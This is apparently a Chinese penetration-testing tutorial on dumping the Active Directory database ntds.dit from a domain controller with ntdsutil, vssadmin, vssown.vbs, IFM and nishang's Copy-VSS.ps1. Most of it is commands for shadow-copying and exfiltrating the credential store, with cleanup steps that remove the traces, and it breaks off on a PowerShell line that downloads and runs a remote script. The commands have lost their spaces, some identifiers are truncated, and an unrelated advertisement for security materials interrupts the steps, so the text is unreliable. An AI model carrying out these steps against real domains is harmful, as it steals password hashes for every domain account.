在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。
卷影拷贝服务提取NTDS
在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%ntds\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。在一般情况下,系统运维人员会利用卷影拷贝服务(VolumeShadowCopyService,VSS)实现这些操作。VSS本质上属快照(Snapshot)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。
一:Ntds的提取
1.1:Ntdsutil.exe提取
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有WindowsServer、WindowsServer、WindowsServer。
实验一:Ntdsutil提取Ntds.dit
步骤一:**在域控制器的命令行环境中创建一个快照。**该快照包含Windows的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
1ntdsutilsnapshot“activateinstancentds”createquitquit
1、份很多已经买不到的绝版电子书2、30G安全大厂内部的视频资料3、份src文档4、常见安全面试题5、ctf大赛经典题目解析6、全套工具包7、应急响应笔记8、网络安全学习路线
可以看到,创建了一个GUID为{67d-4e4a-4b39-bc80-d9fdd3}的快照。
步骤二:加载创建的快照
1ntdsutilsnapshot“mount{c4c25fa3-b-4ae7-92b9-a29c68c49d0f}”quitquit
步骤三:复制快照中的文件
1copyC:$SNAP_20281442_VOLUMEC$\Windows\NTDS\ntds.ditC:\Users\Public
步骤四:卸载之前加载的快照并删除
1ntdsutilsnapshot“unmount{c4c25fa3-b-4ae7-92b9-a29c68c49d0f}”“delete{c4c25fa3-b-4ae7-92b9-a29c68c49d0f}”quitquit
步骤五:查询当前快照
1ntdsutilsnapshot“ListAll”quitquit
1.2:Vssadminn.exe提取
vssadminn是WindowsServerWindows7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。vssadminn的操作流程和ntdsutil类似。
实验二:Vssadminn提取Ntds.dit
步骤一:在域控制器中打开命令行环境,输入如下命令,创建一个C盘的卷影拷贝
1vssadmincreateshadow/for=c:
步骤二:在创建的卷影拷贝中将ntds.dit复制出来
1copy\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.ditc:\ntds.dit2dirc:\
findstr“ntds”
步骤三:删除快照
1vssadmindeleteshadows/for=c:/quiet
1.3:Vssown.vbs提取
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs脚本是由TimTomes开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。可以在命令行环境中执行该脚本。该脚本中的常用命令如下:
1//启动卷影拷贝服务2cscriptvssown.vbs/start31/创建一个C盘的卷影拷贝4cscriptvssown.vbs/createc5//列出当前卷影拷贝6cscriptvssown.vbs/list7//删除卷影拷贝8cscriptvssown.vbs/delete
实验三:Vssown.vbs提取Ntds.dit
步骤一:启动卷影拷贝服务
1cscriptvssown.vbs/start
步骤二:创建一个C盘的卷影拷贝
1cscriptvssown.vbs/createc
步骤三:列出当前卷影拷贝
1cscriptvssown.vbs/list
步骤四:复制ntds.dit
1copy\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.ditc:\ntds.dit
步骤五:删除卷影拷贝
1cscriptvssown.vbs/delete{9AB33ECE-8FF2-49A8--CE}
1.4:Ntdsutil的IFM
使用创建一个IFM的方式获取NTDS。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作。这些操作也可以通过PowerShell或WMI远程执行。
实验四:Ntdsutil创建卷影拷贝
步骤一:在域控制器中以管理员模式打开命令行
1ntdsutil“acintds”“ifm”“createfullc:/test”qq
步骤二:将ntds.dit复制到**c:\test\ActiveDirectory\**文件夹下,将SYSTEM和SECURITY复制到**c:\test\registry**文件夹下
1dir“c:\test\ActiveDirectory”2dir“c:\test\registry”
步骤三:将ntds.dit拖回本地,删除test文件夹
1rmdir/s/q“C:\test”
步骤四:nishang中有一个powershell脚本**copy-vss.ps1**通过改脚本可以将:SAM/SYSTEM/Ntds.dit文件复制到与改脚本相同的目录…(github上可下载Copy-VSS.ps1)
1import-module.\Copy.VSS.ps12Copy-vss
备注:Powershell语法…
1IEX(New-ObjectNet.WebClient).DownloadString(‘